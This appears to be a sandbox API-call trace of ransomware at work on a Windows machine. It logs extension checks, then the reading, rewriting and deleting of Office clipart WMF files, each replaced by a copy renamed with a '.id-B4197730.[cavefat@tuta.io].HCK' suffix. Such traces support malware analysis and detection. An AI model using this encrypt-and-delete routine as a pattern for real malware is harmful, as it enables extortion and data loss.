lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.245] lstrlenW (lpString=".ppt") returned 4 [0169.245] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.245] lstrlenW (lpString=".zip") returned 4 [0169.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.246] lstrlenW (lpString=".rar") returned 4 [0169.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString=".bz2") returned 4 [0169.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString=".7z") returned 3 [0169.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.246] lstrlenW (lpString=".dbf") returned 4 [0169.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.246] lstrlenW (lpString=".1cd") returned 4 [0169.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.246] lstrlenW (lpString=".jpg") returned 4 [0169.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.246] lstrlenW (lpString=".doc") returned 4 [0169.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString=".docx") returned 5 [0169.246] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.246] lstrlenW (lpString=".pdf") returned 4 [0169.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString=".xls") returned 4 [0169.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.246] lstrlenW (lpString=".xlsx") returned 5 [0169.246] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.246] lstrlenW (lpString=".ppt") returned 4 [0169.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.246] lstrlenW (lpString=".zip") returned 4 [0169.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.246] lstrlenW (lpString=".rar") returned 4 [0169.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString=".bz2") returned 4 [0169.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString=".7z") returned 3 [0169.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.246] lstrlenW (lpString=".dbf") returned 4 [0169.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.246] lstrlenW (lpString=".1cd") returned 4 [0169.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68 [0169.247] lstrlenW (lpString=".jpg") returned 4 [0169.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.247] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.247] lstrlenW (lpString="J0157191.WMF") returned 12 [0169.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.250] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=17912) returned 1 [0169.250] CloseHandle (hObject=0x2ec) returned 1 [0169.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 0x220 [0169.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.261] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.261] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.268] GetLastError () returned 0x0 [0169.268] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x45f8, lpOverlapped=0x0) returned 1 [0169.273] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4600, lpOverlapped=0x0) returned 1 [0169.274] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.274] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.274] SetEndOfFile (hFile=0x388) returned 1 [0169.276] CloseHandle (hObject=0x388) returned 1 [0169.277] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.277] SetEndOfFile (hFile=0x330) returned 1 [0169.283] CloseHandle (hObject=0x330) returned 1 [0169.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157191.wmf")) returned 1 [0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.289] lstrlenW (lpString=".doc") returned 4 [0169.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString=".docx") returned 5 [0169.289] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0169.289] lstrlenW (lpString=".pdf") returned 4 [0169.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString=".xls") returned 4 [0169.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.289] lstrlenW (lpString=".xlsx") returned 5 [0169.289] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0169.289] lstrlenW (lpString=".ppt") returned 4 [0169.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.289] lstrlenW (lpString=".zip") returned 4 [0169.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.289] lstrlenW (lpString=".rar") returned 4 [0169.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString=".bz2") returned 4 [0169.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString=".7z") returned 3 [0169.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.289] lstrlenW (lpString=".dbf") returned 4 [0169.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.289] lstrlenW (lpString=".1cd") returned 4 [0169.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.289] lstrlenW (lpString=".jpg") returned 4 [0169.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.290] lstrlenW (lpString=".doc") returned 4 [0169.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.290] lstrlenW (lpString=".docx") returned 5 [0169.290] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0169.290] lstrlenW (lpString=".pdf") returned 4 [0169.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.290] lstrlenW (lpString=".xls") returned 4 [0169.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.290] lstrlenW (lpString=".xlsx") returned 5 [0169.290] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0169.290] lstrlenW (lpString=".ppt") returned 4 [0169.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.290] lstrlenW (lpString=".zip") returned 4 [0169.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.290] lstrlenW (lpString=".rar") returned 4 [0169.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.290] lstrlenW (lpString=".bz2") returned 4 [0169.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.290] lstrlenW (lpString=".7z") returned 3 [0169.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.290] lstrlenW (lpString=".dbf") returned 4 [0169.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.290] lstrlenW (lpString=".1cd") returned 4 [0169.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157191.WMF") returned 68 [0169.290] lstrlenW (lpString=".jpg") returned 4 [0169.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.290] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.290] lstrlenW (lpString="J0160590.WMF") returned 12 [0169.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.299] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=29406) returned 1 [0169.299] CloseHandle (hObject=0x398) returned 1 [0169.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 0x220 [0169.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.310] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.310] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.315] GetLastError () returned 0x0 [0169.315] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x72de, lpOverlapped=0x0) returned 1 [0169.320] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x72e0, lpOverlapped=0x0) returned 1 [0169.321] ReadFile (in: hFile=0x330, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.321] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.322] SetEndOfFile (hFile=0x368) returned 1 [0169.327] CloseHandle (hObject=0x368) returned 1 [0169.330] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.330] SetEndOfFile (hFile=0x330) returned 1 [0169.339] CloseHandle (hObject=0x330) returned 1 [0169.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 1 [0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.345] lstrlenW (lpString=".doc") returned 4 [0169.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.345] lstrlenW (lpString=".docx") returned 5 [0169.345] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.345] lstrlenW (lpString=".pdf") returned 4 [0169.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.345] lstrlenW (lpString=".xls") returned 4 [0169.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.345] lstrlenW (lpString=".xlsx") returned 5 [0169.345] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.345] lstrlenW (lpString=".ppt") returned 4 [0169.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.345] lstrlenW (lpString=".zip") returned 4 [0169.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.345] lstrlenW (lpString=".rar") returned 4 [0169.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.345] lstrlenW (lpString=".bz2") returned 4 [0169.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.345] lstrlenW (lpString=".7z") returned 3 [0169.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.345] lstrlenW (lpString=".dbf") returned 4 [0169.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.345] lstrlenW (lpString=".1cd") returned 4 [0169.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.345] lstrlenW (lpString=".jpg") returned 4 [0169.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.346] lstrlenW (lpString=".doc") returned 4 [0169.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.346] lstrlenW (lpString=".docx") returned 5 [0169.346] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0169.346] lstrlenW (lpString=".pdf") returned 4 [0169.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.346] lstrlenW (lpString=".xls") returned 4 [0169.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.346] lstrlenW (lpString=".xlsx") returned 5 [0169.346] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0169.346] lstrlenW (lpString=".ppt") returned 4 [0169.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.346] lstrlenW (lpString=".zip") returned 4 [0169.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.346] lstrlenW (lpString=".rar") returned 4 [0169.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.346] lstrlenW (lpString=".bz2") returned 4 [0169.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.346] lstrlenW (lpString=".7z") returned 3 [0169.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.346] lstrlenW (lpString=".dbf") returned 4 [0169.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.346] lstrlenW (lpString=".1cd") returned 4 [0169.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0169.346] lstrlenW (lpString=".jpg") returned 4 [0169.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.346] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.346] lstrlenW (lpString="J0171847.WMF") returned 12 [0169.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.351] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6888) returned 1 [0169.351] CloseHandle (hObject=0x39c) returned 1 [0169.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 0x220 [0169.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.366] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.366] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.371] GetLastError () returned 0x0 [0169.371] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1ae8, lpOverlapped=0x0) returned 1 [0169.374] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1af0, lpOverlapped=0x0) returned 1 [0169.374] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0169.374] WriteFile (in: hFile=0x2ec, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0169.375] SetEndOfFile (hFile=0x2ec) returned 1 [0169.379] CloseHandle (hObject=0x2ec) returned 1 [0169.380] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0169.380] SetEndOfFile (hFile=0x398) returned 1 [0169.385] CloseHandle (hObject=0x398) returned 1 [0169.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 1 [0169.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.389] lstrlenW (lpString=".doc") returned 4 [0169.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.389] lstrlenW (lpString=".docx") returned 5 [0169.389] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.389] lstrlenW (lpString=".pdf") returned 4 [0169.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.389] lstrlenW (lpString=".xls") returned 4 [0169.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.389] lstrlenW (lpString=".xlsx") returned 5 [0169.389] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.389] lstrlenW (lpString=".ppt") returned 4 [0169.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF") returned 68 [0169.389] lstrlenW (lpString=".zip") returned 4 [0169.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.390] lstrlenW (lpString=".rar") returned 4 [0169.390] lstrcmpiW 